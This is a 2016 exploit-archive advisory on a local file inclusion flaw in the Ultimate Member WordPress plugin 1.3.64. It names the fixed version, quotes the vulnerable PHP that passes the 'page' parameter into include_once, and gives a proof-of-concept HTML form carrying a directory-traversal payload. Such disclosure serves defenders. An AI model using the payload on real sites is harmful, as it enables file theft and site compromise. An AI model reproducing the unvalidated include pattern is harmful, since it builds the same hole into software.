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WordPress Ultimate Member 1.3.64 Local File Inclusion

WordPress Ultimate Member 1.3.64 Local File Inclusion
Posted Jul 10, 2016
Authored by Burak Kelebek

WordPress Ultimate Member plugin version 1.3.64 suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
MD5 | 82033741bc2f89084f85ff7e3859f11e

WordPress Ultimate Member 1.3.64 Local File Inclusion

Change Mirror Download
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Ultimate Member Local File Inclusion vulnerability

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Burak Kelebek, July 2016



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Abstract

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It was discovered that Ultimate Member is vulnerable to PHP File

Inclusion. An authenticated attacker can exploit this issue to

compromise WordPress, for example by retrieving sensitive data from

local PHP files.



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Tested versions

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This issue was successfully tested on the Ultimate Member WordPress

plugin version 1.3.64.



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Fix

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There is a fix available in Pre-released version: pre-v1.3.65.10. After

the fix is applied user input is no more used when including local files

in WordPress.



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Details

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The vulnerability occurs due to the use of user-supplied input in the 'page' parameter without proper validation.

The code first checks if 'ultimatemember-' exists in page parameter supplied by user. If it exists it deletes 'ultimatemember-' and assigns user input to the template parameter. Lastly it inserts user input in the PHP function include_once.

ultimate-member/admin/core/um-admin-dashboard.php:

$page = $_REQUEST['page'];
[..]
else if ( strstr( $page, 'ultimatemember-' ) ) {

$template = str_replace('ultimatemember-','',$page);
$file = um_path . 'admin/templates/welcome/'. $template . '.php';

if ( file_exists( $file ) ){
include_once um_path . 'admin/templates/welcome/'. $template . '.php';
}

}



Proof of concept

Proof of Concept below simply opens a file in the temp folder of WordPress.

<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=ultimatemember" method="POST">
<input type="hidden" name="page" value="ultimatemember-../../../../../uploads/ultimatemember/temp/dZm2Sr1IbnIy4Ikn3FbWdMlOh2wCzDu3KunD4tIk/stream_photo_697d3db4eba7e7254670210e3c095022_5779a47985512" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

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